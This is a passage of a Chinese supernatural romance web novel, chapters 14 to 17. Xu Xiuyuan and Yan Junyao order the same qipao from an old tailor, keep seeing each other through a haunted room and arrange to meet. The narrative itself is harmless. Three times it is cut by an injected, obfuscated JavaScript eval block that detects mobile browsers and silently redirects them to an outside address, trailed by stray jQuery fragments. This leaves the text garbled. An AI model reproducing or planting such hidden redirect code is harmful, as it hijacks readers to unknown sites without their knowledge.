许修远闻言,笑了笑,他只是一时兴起,所以打算做一件这样的旗袍。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15951142|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 至于用处——他也没有想清楚。 “都可以,您看着做就可以。” “……” 这还是何老师傅这么多年来,第一次听说做衣服没给尺寸的,但他很识趣,点了点头,没有多问。 喝了口茶,许修远突然指着图册问道:“何爷爷,这本图本都是您亲自画的吗?” 何老师傅呵呵笑道:“不瞒你说,这本里面的大部分款式还都是我父亲手上留下来的,你刚才看上的这一件,是他当年早期设计的。” 许修远眸光一敛,想了想,又继续道:“何爷爷,我知道我太爷爷曾和您父亲是挚友,不知道您有没有听他说过,我太爷爷当年是否有过一位红颜知己或是——姨太太,也定做过这样一件旗袍的呢?” 何老师傅眉头微动,没想到许修远问了这许多,又看了这么多的旗袍样衣和设计图,甚至还特意定做了一件,原来是想打听旧事。 何老师傅微微眯眸,想了半晌,才摇了摇头,“没印象了,不过我家里有几本老相册,我回家翻翻看,说不定能找到相关的照片。” “麻烦您了!”许修远瞥了一眼茶几上的图册,“这件旗袍也要辛苦您了!” 两人正说着话,店里的助手突然敲响会客室的门,探头进来说了外面有人来访。 对何老师傅来说,许修远是贵客,于是便开口让助手先招待着。 助手有些为难地说道:“师傅,是那位张记者,说是来看看您,还带了朋友来做旗袍。” 许修远见状,便起身说先走了。 * 何老师傅将他送出了会客室,一眼就看到张熙杰和一个年轻女孩正站在衣架旁打量着那些展示出来的旗袍样衣。 听到动静,张熙杰转头看到了何老师傅,以及站在他身边的眼熟的男人。 他一愣,没想到居然又碰到许修远了,而且还是近距离,总算是看到他的正脸了。 颜珺瑶脸上的笑容在乍然见到许修远的一瞬间,蓦地凝住了,呼吸渐渐变得有些急促,心跳频率也骤然加快。 她怎么也不会想到,自己来一趟旗袍店居然还能和他碰上。 所以院子外面那辆豪车就是他的。 这倒霉的巧合! 许修远的视线轻飘飘地从张熙杰身上划过,最后定在了颜珺瑶的脸上,对上了她诧异的眼眸。 细看之下,那双水润的大眼睛里似乎还带着几分惊恐。 许修远心里好笑,自己有这么可怕吗?为什么她每次见到自己都——不太正常呢? 上次直接晕了,这次——貌似还好一点,至少目前没晕。 所以她也在怀疑他不是人,而是鬼?还是其他怪东西? 两人须臾之间的眼神交汇,旁人似乎没有察觉。 张熙杰很快又将视线重新汇聚在何老师傅的身上,笑着打招呼:“何师傅,好久不见!” “是熙杰啊,”何老师傅笑呵呵地看着张熙杰,又瞅了一眼站在她身旁的颜珺瑶,“这是你——朋友?” 张熙杰瞥了一眼身旁的人,蓦地愣了一下,这才发现颜珺瑶的神色怎么有些不对劲。 “对,我朋友,颜珺瑶。” 他轻轻拍了拍颜珺瑶的肩膀,“珺瑶,这位就是手艺了得的何老师傅。” 何老师傅笑呵呵地朝颜珺瑶点了点头,颜珺瑶这才回过神来,笑着喊了一声,何师傅。 令她感到意外的是,这个许修远居然开口了,而且还是叫她。 “颜小姐。” 张熙杰瞳孔瞬间变大,视线忍不住在颜珺瑶和许修远身上打了个来回。 这两个人居然认识?怎么会认识? 颜珺瑶只觉得自己的嘴角不禁抽了一下,心头一紧,放在身侧的手蓦地握紧了,但面上还是努力保持微笑。 “许先生!” 何老师傅也有点差异,“今天还真是巧啊,没想到你们也认识!” “嗯,见过——几次。” 许修远点了点头,“何爷爷,我先走了。” 15. 第 15 章 何老师傅送许修远出去了,张熙杰碰了碰颜珺瑶的胳膊,“你怎么会认识他的?” 上次在普陀寺她不是都没认出许修远来吗? 颜珺瑶真是一言难尽,咬了咬唇,深吸了一口气,含糊地解释:“就是上次同学会的时候,在同一家酒店碰上了,我大学学姐现在是他的秘书。” 张熙杰不疑有他,哦,怪不得。 这不巧了嘛不是! 没多会儿,何老师傅就回来了,将两人带到了会客室坐下。 张熙杰先关心了何老师傅最近的生意如何,何老师傅无不感慨地说道:“多亏了你们之前的报道,这两年我们店里的生意好了不少。” 简单寒暄之后,张熙杰说明了来意,“何师傅,我朋友想在您这儿定做一件旗袍。” “不知道颜小姐想要做什么样的旗袍,外面有样衣,这儿还有几本样图,你可以先瞧一瞧。” 何老师傅说着,就从一旁拿了两本新图册递了过去。 张熙杰刚要接过来,就听颜珺瑶突然说道:“谢谢何师傅,但我——自己画了一张图,不知道您这边——能不能帮忙做一件?” 何老师傅一听这话,笑了起来,“当然可以,颜小姐也是做服装这一行业的?” 张熙杰解释道:“不是,她是我同事,同一个电视台的。” 颜珺瑶从包里拿出那个文件夹,将里面的画纸拿了出来,递到了何老师傅面前。 “这是我自己画的,有些拙劣,不知道您——” 何老师傅接过,一看到画上的旗袍款式时,惊了下,怎么会这么巧? 许修远和颜珺瑶居然都想要定做同一件旗袍,而且还是在同一天找过来,虽然一个是靠口述,一个是自己画出来的。 这两人是怎么想到一块去的? 颜珺瑶见何老师傅一直看着自己的画,以为是有什么问题,有些忐忑地问道:“何师傅,是不是我画的不好,您不好做出来呢?” 何老师傅笑着道:“没有,你这画画功底还是不错的,可以做,可以做。 一会儿让小林给你量一下尺寸。” 颜珺瑶放了心,“谢谢您!” * 上车前,许修远瞥了一眼不远处停着的那辆白色轿车。 呵,真是意外啊! 他了解到了这家旗袍店,她居然也知道这里。 他来定做旗袍,她同样也是。 真有这么巧合吗? 她要找何老师傅定做什么样的旗袍?难道也是那件? 还有她那张脸。 他不相信这个世界上有这么多的巧合,这个颜珺瑶和旗袍女人一定有关系,否则为什么两人的长相会有六七分的相似呢? 但——就是没查出来。 颜珺瑶父亲那边,从她太爷爷到颜珺瑶这一辈,只有颜珺瑶一个女孩。按年代来推算,旗袍女人应该是她太奶奶或她太外婆那一辈的人。 就眼下查到的,颜珺瑶的太奶奶,太外婆,太姑奶奶或太姨奶奶等,除了早夭的,其余的虽然没有找到照片,但年纪都和旗袍女人对不上。 但旧时代很多家庭会有送养或抱养孩子的情况,特别是在乡下,要想全部查清楚,难度不小。 至于颜珺瑶母亲这边,颜珺瑶外婆的外祖父当年是本市的一个富商,因为经商不善再加上时局原因而破产,而她外公的父亲当年也是有名的大夫,所以查起来相对容易。所幸找到了她外婆母亲以及她外公母亲年轻时的照片,不过颜珺瑶和这两位几乎没什么相像的地方。 她的五官长相更随她父亲,但和她父亲也不是特别像。 目前来看,颜珺瑶似乎和旗袍女人没有血缘关系。 两个毫无血缘关系的人会出现长相相似的情况,这种可能性当然有,但绝对是小概率事件。 即使两人之间真的没有血缘关系,她们也必然有某种联系,否则他不会先后仅隔了几秒钟,分别见到了旗袍女人和颜珺瑶。 这是旗袍女人特意“安排”的,是她给出的隐晦提示,她要他去查。 眼下,他知道的几乎只有一点,那就是旗袍女人是太爷爷的姨太太,而且还不能肯定。 他特意问过母亲,母亲也表示曾经确实听说过,但老爷子否认了,她也就没再好奇,毕竟是几十年前的事情。 他可以肯定的是,颜珺瑶一定是人,旗袍女人必然是鬼,可他看到的颜珺瑶,就是真正的她吗? 这个世界上,存在不少稀奇古怪的事情,借尸还魂,或者是夺舍,等等,不一而足。 不过颜珺瑶的前二十几年似乎很少去医院,没有查到她出现过特别危急,出现濒临死亡的情况,所以她可能是后一种? * 从旗袍店离开,张熙杰开车送颜珺瑶回去。 颜珺瑶出神地坐在副驾驶座上,回想着刚才发生的一切。 她定做了一件不便宜的旗袍,而且还是梦里那个女人身上的旗袍。 她是疯了吗?为什么要定做这么一件旗袍? 即使要穿旗袍,也不能定做那一件,可她就是这么做了,情不自禁,不受控制的这么做了。 她的精神该不会是被人——不,被那个旗袍女人给控制了? 不仅如此,今晚又遇见了许修远。 庆幸的是,刚才没有出现第一次见面时的状况,至少没有那么难受,没有晕倒。 呵,刚才许修远跟何师傅怎么说来着,他和她见过几次。 他这是在提示她,东西还在他手上吗? 颜珺瑶兀自腹诽着许修远,就听到张熙杰似乎在跟她说话。 “嗯?什么——” “我说,你最近休息的时候是不是不经常回家?” “嗯,”颜珺瑶点了点头,看了一眼张熙杰,“我妈跟你说的?” 张熙杰笑了,“阿姨是关心你,以为你现在有了男朋友,不告诉她,所以就问我了。” 颜珺瑶嘀咕了一句,“我妈真是的。” “那你有吗?” “没有,就算有男朋友,跟回不回家也没关系呀!” “你有几次休息的时候都没回去住了,上次就回去吃了顿饭,阿姨大概是以为你去约会了。” “……” * 也许是张熙杰的话提醒了颜珺瑶,之后的几天,颜珺瑶一直在琢磨一件事。 要不要回家,再在自己的那个房间睡上一晚上,试试看到底还会不会看到许修远呢? 自从第二次在房间看到许修远之后,她就再没敢在自己的房间睡过。 在出租房的这段时间,这种诡异的情况一次都没发生过。 如果自己回家试了,并且真的能看到许修远,是不是就说明不仅她家房子有问题,而且这件事还远没有结束? 如果真是这样的话,那她就得赶紧去找汤爷爷帮忙了。 这周栏目组来了两个新人,周五下班之后,栏目组的人一起聚餐。 吃完饭之后,又转战下一场,去KTV唱歌。 张熙杰发现,自从进了包间之后,颜珺瑶似乎一直心不在焉,时不时就看手机。 他在大家的起哄下唱了一首歌之后,就坐到了颜珺瑶身边,问她是不是有什么事情。 颜珺瑶被他的声音吓了一跳,以为他还在唱歌呢。 她急忙熄了手机屏幕,“没,没事。” 这样的反应,没事才怪。 虽然屏幕黑的很快,但张熙杰还是无意中瞥到了一眼。 是微信。 对话框最上面联系人的名字是三个字,姓许的。 而对话框里不知道是红包还是转账。 这个“姓许的”,是谁呢?啊,该不会是——他吧? 许修远。 那天在旗袍店,许修远主动和珺瑶打招呼。 他以为这两人只是简单的认识,没想到已经加了微信,有了来往。 许修远那天那么主动,而珺瑶的反应却有些奇怪—— 难道是——他喜欢珺瑶? 张熙杰心头一跳,被自己的猜想惊到了。 他喝了口水润了润嗓子,看着颜珺瑶道:“你要不要去唱一首?” “嘻嘻,我唱歌走调的,你又不是不知道,我纯属来鼓掌的。你怎么不唱了?” 张熙杰的视线在她的脸上停留了好几秒,“你要是累了,我就先送你回家。” 颜珺瑶有些犹豫不决,既想要早点回家,但又有点害怕回去。 半晌,她还是摇了摇头,“没事,你去唱吧,等大家一起走吧!” 张熙杰给她拧开一瓶饮料,“你——是不是在等谁的电话或信息?” 颜珺瑶接饮料的手蓦地顿住,随即笑起来,“没有,你怎么跟我妈一样,还怀疑我偷偷地找了男朋友不告诉你们吗?” “走吧,我也要回去了,明天早起回老家看我爷爷。” 颜珺瑶眨了眨眼睛,跟着站起来,哦,那——那走吧! * 坐上副驾驶座,低头扣好安全带,颜珺瑶暗暗叹了口气。 要回家做试验了。 “我——我今晚回我爸妈那里。” “好。” 张熙杰偏头瞥了一眼颜珺瑶,“叔叔阿姨见到你回去,估计是又高兴,又失落。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15951143|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯?”颜珺瑶不解,“为什么失落啊?” 张熙杰发动车子,“你回去了,他们肯定会问你男朋友的事情,知道没有,可不得失落嘛!” “哎——”颜珺瑶忍不住叹了口气,“我妈就是这样,之前还好,前段时间知道以晴要结婚了,我去当伴娘,她就开始着急了。我估计接下来她肯定要琢磨着给我安排相亲。” “那你——喜欢什么样的男生?”张熙杰目视前方问道。 颜珺瑶还真没想过这个问题,她歪着头想了片刻,摇头说道:“不知道,大概就是合眼缘,谈得来的吧! 我妈就是太着急了,我才大学毕业两年,这么着急干什么,而且就一定得结婚吗?嘿嘿!” 张熙杰轻笑一声,没再说什么。 * 回到家里,已经快十点了。 父母正在客厅边看电影边泡脚,看到颜珺瑶突然回来,很是惊喜。 钱艺文一高兴,连脚都不泡了,说话就要给她做夜宵。 颜珺瑶下意识就想拒绝,“不用了——” 但很快又改了主意,“好吧!” 今晚还不知道会发生什么事,还是吃饱一点,到时候有力气来应对。 饺子很快就上桌了。 餐厅里,钱艺文坐在一旁,笑呵呵地看着颜珺瑶,“现在你敢一个人睡自己的房间呢?” 颜珺瑶手上的动作一僵,不自然地说道:“妈,我本来不怕的,被你这么一说,我又想起之前做的噩梦了。” 钱艺文斜晲她一眼,“以前胆子可没这么小的,自己家怕什么,我们一家三口都住了快二十年了。” 颜珺瑶眼下嘴里的东西,呵呵地笑着,“妈,我开玩笑的,没怕,我之前是被自己的噩梦吓到了。” “哎,就是你这工作造成的,每天都到处跑,没个早晚的,而且有时候那些场面——” 颜志华这时候走了过来坐下,“最近还做噩梦吗?” “没有,睡得挺好的。”这是实话。 颜志华放心地点了点头,“看来之前的方子还是很管用的。” 钱艺文看向丈夫,“要不你明天再按那个方子给她抓几天的药,多喝几天,安安神?” 说完,就将视线转向了正在吃东西的闺女,担心她会不同意。 放在以往,颜珺瑶肯定是不想喝的,但这次出乎父母的意料之外,她点头答应了。 还是喝着吧,不知道为什么,她总觉得今晚肯定会发生点什么。 就算今晚什么事都没发生,自己最近确实费神,安安神总是好的。 夫妻俩看到闺女这次这么配合,对视了一眼。 颜志华问道:“瑶瑶,你最近工作压力大不大?有没有遇到什么不好的事情?” 颜珺瑶端起碗把饺子汤都给喝完了,钱艺文抽了张面巾纸递过去。 她一边擦嘴,一边说道:“没有,我挺好的,都挺好的,放心啊!” 洗完澡,进了房间。 关上门的那一刻,颜珺瑶的心里就开始忐忑不安。 这会儿已经快十一点了,要是她没记错的话,前两次都差不多是在十二点左右发生的。 哎,还有一个小时,可怎么熬呢? 刷电影,刷网剧,听小说,但她完全看不进去,也听不进去。 折腾了好一会儿,再一看手机,居然还有半小时。 颜珺瑶实在是没办法了,必须做点什么让自己转移注意力。 最后将目标瞄准了衣柜,把放在家里的秋天衣服换了一套又一套。 换了好一会儿,看着满床扔的乱七八糟的衣服,终于累了,没心思再换下去,又一件件地收回了衣柜里。 一切收拾妥当,颜珺瑶也不打算换回睡衣,就着身上一套秋季的休闲服,整个人瘫在了床上。 手机上显示,23点57分钟。 她侧着头,盯着门口的方向,一瞬不瞬地瞧着。 上一次,自己随手把水晶摆件扔过去了,然后就消失了,跑到了许修远那边。 如果—— 她瞅了一眼床头柜上的空调遥控器,如果这一次,自己把这个扔过去,还会跑到那边吗? 更或者—— 她腾地从床上坐了起来,如果自己走过去,难道真的会像动画片中的任意门那样,可以瞬间移动到他那边吗? 蓦地,颜珺瑶浑身一颤,她被自己的想法吓到了。 用力地揉了揉脸,稍稍冷静之后,还是走到了靠门的床头柜旁,拿起了空调遥控器。 时间差不多了。 就在这时,她莫名感觉门口似乎有什么动静。 16. 第 16 章 周五傍晚,许修远又回了老宅。 自从上次被爷爷“赶”走之后,他就没再回来过,已经有一段时间没有回来过了。这期间宗叔也没有给他打过电话让他回去,所以爷爷目前还是不想让他回来。 父亲车祸离世之后,因为三楼房间的玻璃突然出现裂痕,爷爷就请过赵先生,而且丝毫不顾及自己的身体。上次在他进了三楼的房间之后,爷爷又把赵先生请了过来,而且赵先生在老宅一连待了三天,每天都去那个房间。 难道爷爷是怀疑父亲的车祸和那个房间有关?或者说——和那个旗袍女人有关? 看来今天估计不好留下来过夜。 下了车,进了客厅,许忠林见到许修远回来,第一反应很是高兴,立马就吩咐家里的阿姨再准备几个许修远喜欢的菜。 可一听说许修远要留下来过夜,许忠林瞬间就拉长了脸,不同意他留下来,一定要让他离开。 许修远无奈地叹气,“爷爷,怎么自己家还不让我住了?你放心,我不会再上去了。就算我还想偷偷上去,你们肯定也换锁了不是?再说了,我再进那里看什么呢?之前都看过了,也没什么值得好奇的了,一间过时的旧房间而已,你说对不对,宗叔?” 一旁的老管家笑起来,对许忠林说道:“先生,小远想在家里过夜,肯定是打算多在家里陪您几天,这是孝心呢!” 许忠林面色有了松动,没再出言让许修远离开,这算是答应了。 晚饭后,许修远陪着许忠林在后院里喝茶。 天渐渐地暗了下去。 就在宗叔扶着许忠林准备回屋的时候,许忠林的手机响了。 他点开一眼,发现居然是颜珺瑶发来的信息。 她又给他转账了,还是上一次的医药费。 这已经是颜珺瑶第四次给他转账了。 每一次其实他都看到了,但都没有收下,也没有任何回复。 他在等,等着颜珺瑶主动联系他要回那个水晶摆件,主动“说说”那两个晚上的事情。 前面两次转账,颜珺瑶都会留言,说一句谢谢。 但这一次,她的留言变了,不再是谢谢,大概是耐心有些耗尽,留言变成了:许先生,请问你看到我的信息了吗? 许忠林走在前面,忍不住回头看了一眼许修远,发现他正噙着笑意,低头看手机。 “是不是谈女朋友了?” 许修远上前,扶住爷爷的另一边胳膊,笑道:“没有,是助理发来的。” 许忠林一听,不满地撇开他的手,“不用你扶。” 随即转头跟宗叔抱怨,其实也是故意说给许修远听的。 “这一天天忙的,连个女朋友都没有,什么年纪了,我在他这么大的时候都有——” 说到这里,许忠林蓦地顿住,许久之后,只有一声长长的叹息,没再说下去了。 宗叔知道老爷子应该是想到了还未成年就离世的大儿子,赶紧转移话题,笑着说道:“这事急不得,得看缘分不是,说不定缘分来了,哪一天小远就给您带回来一个孙媳妇——” * 十一点五十五分,许修远掀开被子下了床,仔细听了听外面的动静,嗯,应该是都睡了。 他知道,自己在晚饭时和爷爷说的话,他肯定会相信的。 打开衣柜,翻到奶奶亲手做的那件大衣,从口袋又摸出了一把钥匙。 一把和上次被宗叔拿走的那把一模一样的钥匙。 他庆幸小时候的自己懂得防患于未然,就是担心如果哪一次溜进那个房间被宗叔或爷爷发现,那手上的钥匙肯定是保不住的,所以他才多了个心眼,选择配了两把,即使被没收了一把,还能留一把,以后还有机会偷偷进去。 结果小时候并没有被发现,要是更没有被没收过。当时所担心的事情,发现在了二十八岁,而他的有备无患,让他有机会再进去。 今晚他还要再上去一次,那个房间里一定还有什么线索。 许修远再次悄声地离开了房间,上了楼。 这一次,他没敢再开灯,他很庆幸今晚的月色很清亮,上楼的楼梯被照的分明,足以让他看清。 不一会儿,他来到了三楼走廊尽头的房间门口。 从睡衣口袋里掏出了一把十分袖珍的手电筒,打开,雪白的光线照在门锁上。 果然是没换。 这幢老宅在他出生之后翻修过一次,在此之前肯定也有过大大小小的修整。 每个房间的锁都换过,就唯独这个房间还保留了民国年代,最开始的样子。 因此他猜测,爷爷一定是在忌讳什么,这么多年都没有动过这个房间,这一次也不太可能会因为他的擅自进入而突然换锁。 钥匙插入锁孔,轻轻转动,就听到清晰的“咔哒”一声,房间再次打开了。 许修远一瞬屏住呼吸,转动门把手往里推开了门,眼前又是那个熟悉的身影。 那个穿旗袍的妩媚女人侧身站在离门口几步远的地方,含情脉脉地回头看他,温温柔柔地喊了一声,“君平。” 就在他眨眼的一瞬间,旗袍女人蓦地消失,取而代之的是身着一套长袖休闲服的颜珺瑶正站在床边。 仍然是之前看到的那个现代化装修的房间。 颜珺瑶似乎正从床头柜上拿起了什么,在看到他的一刻,她仍然是条件反射地叫了一声,与此同时后退了一步,身子撞到了床沿。 但这一次明显的短促,并且许修远能明显感觉出来,她在拼命地控制住自己的音量。 一双黑眸中尽是说不清道不明的复杂。 许修远眉心紧蹙,定定地和她对视,他几乎无法控制自己的面部肌肉,低声开口,“颜小姐。” 颜珺瑶下意识地握紧了手上的东西,许修远瞥了一眼,发现她手上的好像是空调遥控器,就在他担心颜珺瑶这一次会不会把手上的东西砸向他的时候。 令他意外的事情发生了,颜珺瑶咽了咽口水,居然开口说话。 “许先生。” 语声发颤,她在极力克制自己的恐惧。 许修远觉得自己真的是高估了自己,在这样荒唐,不可思议的情境下,他顷刻间不知道该说什么,做什么。 也完全忘记了自己今晚上来的目的是什么。 是为了再次确认能不能在这个房间发生前两次类似的情况吗? 还是为了进这个房间,看看能不能找到和那个姓顾的旗袍女人有关的线索呢? 就在两人面面相觑的瞬间,蓦地,眼前的一切就在交睫之间消失不见了。 * 颜珺瑶的脑子里全是心脏狂跳的咚咚声,直接软在了床边,半晌,她才缓了过来,就听到妈妈正在门口敲门,并且焦急地叫她的名字。 她站起身,一开门便看到母妈妈一张满是担忧的脸。 “是不是又做噩梦了?是不是——” 她咽了咽口水,这才意识到,应该是自己刚才条件反射的叫声被妈妈听到了。 她勉强地挤出笑容,嘴唇微微颤抖,“妈,我——我没事了,是不是吵醒你了?” “爸,你也被我吵醒了——” 颜志华快步走了进来,手上拿着一串钥匙。 钱艺文对颜珺瑶说道:“你刚才不开门,我又叫不醒你,所以我让你爸去拿备用钥匙了。” 颜志华看到闺女好好地坐在床边,先是长长地舒了口气,只是她这脸色—— “是不是又做噩梦了?” 颜珺瑶摇了摇头,而后又点了点头,“没事了,刚——刚才是——是有点被吓到了。” 钱艺文心疼地搂住她,摸着她的头发安抚道:“没事了,没事了。” 颜珺瑶呵呵地笑了笑,“我没事了,你们也回去睡觉吧!” 她不想让爸妈在她这个诡异的房间多待。 钱艺文不放心,“要不今晚我在这儿陪你睡吧!” 颜珺瑶忙说不用,并且跟他们保证自己已经没事了,也不会再偷偷地跑到客厅去睡。 颜志华和钱艺文见闺女这么说,才放了心,正准备离开房间的时候,钱艺文突然说道:“你今天怎么穿着这套衣服睡觉,长袖长裤,怪热的,赶紧换上睡衣。” 颜珺瑶神色一变,这才注意到自己身上还穿着秋季的休闲服,哦了一声,又催爸妈回去休息。 房间里很快又只剩下她一个人,害怕是无可避免的。 今晚所发生的事情毫不留情地给了她一个重击,那就是之前经历的一切还没有结束,还在继续,还会继续。 并且,她现在更进一步肯定自己的这个房间肯定是有问题的,否则为什么只发生在这个房间,而在出租房那边却都没有发生过呢? 她不敢一个人在这里睡,但她更不敢让父母陪她留在这个房间,她决不能把父母牵扯进来。 倏地,手机响了一声。 颜珺瑶现在是惊弓之鸟,直接吓了一跳,拿起来一看,是许修远发来的微信。 点开,只有三个字。 看到了。 许修远的这三个字,可真是一语双关啊! 不仅是回复自己晚上给他发的微信,而且估计还是在暗示,刚才他确实看见了她,并且她也看到他。 这件事情,她没有办法再装傻了。 再恐惧,都得面对了,自己必须要和他见面聊上一聊了。 * 眼前的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15951144|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 切消失不见,许修远怔怔地看着房间里的一切,深吸了一口气,拿出手机,给颜珺瑶回复了微信。 回头看了眼身后,没有任何动静,他这才放心地走进了房间。 打开卧室的顶灯,暖黄色的灯光多少驱散了心头的一丝惧意。 许修远翻看了抽屉,里面是一些旧时女子会用到的小东西,他还找到了几本书,但上面没有名字。 眼前蓦地闪过了那件旗袍,于是快步走到衣柜前,顿了顿,伸手打开了柜门。 里面确实挂着不少的衣服,一年四季都有,大部分是旗袍和大衣,做工十分精良。 而这么多旗袍里,没有那个女人身上的那件。 将所有东西都放回原位好,许修远回到了房间。 他有几分失落,今晚几乎又是一无所获。 而手机,也一直没有动静。 颜珺瑶没有回复。 * 翌日周六不上班,钱艺文比平时晚了半个小时才起床。 刚走出卧室,就看到客厅的沙发上窝着一个人,身上盖着薄毯,脸埋在毯子里,只有一头黑发垂在一旁。 乍一看,真是吓了一跳,随即无奈地摇头。 哎,这丫头! 钱艺文随即放轻了脚步,转身回屋里嘱咐丈夫起床动静轻点,不要吵醒了闺女。 昨晚上,颜珺瑶在爸妈离开她的房间之后,等了有大半个小时,猜测爸妈应该都重新睡着了,便抱着被子和毯子,蹑手蹑脚地溜到了客厅,选择在沙发上睡一晚上。 她是被电话吵醒的,江成打电话给她,通知她立即赶到市郊,有一位低保户自杀了。 颜珺瑶一下子从沙发上蹦了起来,迅速洗漱过后,根本来不及吃早饭,拿了爸爸的车钥匙就直奔市郊。 这位低保户老人独居,妻子早年因病去世,仅有的一个女儿在十几年前,家里条件尚可的时候偷偷拿了父母所有的积蓄,去了外市投奔当时的男朋友,之后就再也没有回过家。就因为没了积蓄,其母才没钱治疗而病逝,女儿也不闻不问,对年迈的老父亲也从不上心,老人家现在就靠着一亩地和低保户的补贴养活自己。 就在今天早上五点多的时候,老人家随手扔了一个烟头,导致临近的好几亩地的麦苗,包括他自己的那一亩地,都被烧毁。 事情发生后,因为无辜受灾的同乡说话不太客气,老人家大概是想到自己往后的日子,不仅没了生活来源,还要节衣缩食地赔偿,于是一时想不开,趁人不备直接喝了农药,抢救无效死亡。 三个乡邻没想到老人家会自杀,又惊又恨,老头这么一死,他们都不知道能到哪里去要赔偿。 而老人家的女儿听说老父亲自杀的消息,在电话里听不出有丝毫伤心,一开始甚至都不愿意回来,迅速撇清她与老父亲的关系,不想承担老人家的债务。在多方的交涉下,老人家的女儿才同意立即赶回来办理。因为她得知家里的老房子,那块地以及一些零零碎碎的东西等还是值些钱,她不想这些东西都被用来赔偿,极力争取。 江成带着颜珺瑶与一个实习生,还有摄像等,待到了将近五点才回到市里。 在车里,实习生一阵唏嘘,讨伐着老人家女儿的不孝与恋爱脑。颜珺瑶很沉默,江成看了她一眼,说道:“有阴必有阳,有反就有正。” 当了两年的记者,见了不少让人唏嘘不已或拳头发硬的事情,颜珺瑶觉得自己现在面对这种情况,应该会越来越冷静,但她发现,自己还是太高估了自己。 人的情感,比想象中更加可怕。 * 回到单位加完班,颜珺瑶给爸妈打了个电话说明了情况,于是就回了出租房。 钱艺文在挂电话前叮嘱她第二天要回家拿药,她答应了。 洗完澡,躺到床上,颜珺瑶只觉得自己的脑子已经累得无法转动。 拿起手机,习惯性地打开微信,第一眼就注意到了和许修远的聊天框。 点开,聊天记录还停留在昨晚许修远给她发的那三个字,而转账的钱,他依旧没收。 良久,颜珺瑶做出了决定,发送了一条信息。 【许先生,不知你明天下午是否有空? 如果方便的话,想约你见个面,当面感谢你。】 消息发送出去,原以为会等上许久,也许是好几天才能有回复,她甚至都做好了心理准备,但没想到手机刚放下不到半分钟的时间,对方就回了过来。 【可以,时间地点由你来定。】 颜珺瑶想了想,发了一个餐厅的地址以及时间,并询问他的意见。 最后她加了一句话。 【麻烦许先生记得带上那件东西。】 【嗯。】 17. 第 17 章 大概是昨天晚上没怎么睡好,今天又忙了一天,发完微信之后,颜珺瑶倒头就睡,几乎是一觉到天亮。 睡得好,自然精神就好,但只要一想到接下来的见面,她心里就忍不住忐忑。 下午三点多,颜珺瑶打车去了西餐厅,一走进就看到许修远比她先到了。 她看了一眼时间,嗯,自己没有迟到。 在许修远的对面坐下,颜珺瑶心里五味杂陈。 不知道自己那样的经历要是说出去,会有人信吗? 大概是没有的吧! 颜珺瑶开门见山,把水晶摆件底座刻着的名字和时间说了一遍,以此来向许修远证明,那个摆件是她的。 许修远十分认真地听她讲完,随后点了点头,淡淡开口道:“我相信是你的。” 其实她不用这样向他证明,他也完全相信东西就是她的,因为东西就是她朝他扔过来的。 咖啡端上来了,浓郁的醇香稍稍地缓解了颜珺瑶的紧张。 她端起来抿了一小口,“谢谢。” 许修远看着颜珺瑶,只见她微垂着眼眸,似乎不敢看他。 “颜小姐,其实在酒店大厅见面之前,我们已经算是见过——两次。” 颜珺瑶眸光一闪,端起面前的咖啡又喝了一口,却差点被呛到。 她忙放下杯子,偏头捂着嘴轻咳了两声,而后迅速抬眸看了对面的男人一眼,声音带着一丝颤意:“不可思议的见面——” 许修远无奈地笑了,“那个摆件,是第三个晚上我在地上捡到的。” 颜珺瑶蹙眉,所以是第二个晚上她扔出去的东西,次日晚上才出现在他家里?并没有所谓的“任意门”,是因为存在非自然的力量? “摆件翅膀的部位有些摔坏了,前几天我送去修补了,今天应该就可以取。” 颜珺瑶松了一口气,“谢谢许先生。” “颜小姐,你有没有想过,我和你之间——为什么会有这样的经历?” 颜珺瑶看向许修远,摇头,“我不知道,老实说,事情发生后我很害怕。” 许修远顿了下,又道:“冒昧问一下,你在这件事之前有碰到过什么奇怪的事情吗?” 颜珺瑶此前也认真地想过这个问题,她确实碰到过也发生了不好解释的事情。 之前的反复发烧,再往前就是目睹许耀中的车祸,看到了那个只有她注意到的小女孩,还有—— 梦里的那个女人。 难道这一切是有联系的? 可貌似找不到什么钩子可以把这些事情串起来。 “我——”颜珺瑶看向许修远,欲言又止。 许修远作为受害者的家属,肯定是看过车祸现场的监控视频以及车里的行车记录仪,她想问问许耀中当时停车的原因。可转念一想,车祸刚过去没多久,她就这样提及对方的伤心事,像是为了满足自己的好奇心就去揭别人未愈的伤疤,是不是有点道德了? 许修远见她这幅样子,就大致有了答案,颜珺瑶应该是发生了一些奇怪的事情,但现在可能出于某些顾虑——比如,不信任他——所以不想说。 他耐心地等着。 却见颜珺瑶只是叹了口气,摇摇头,“没什么,就是——身体有些不舒服。” * 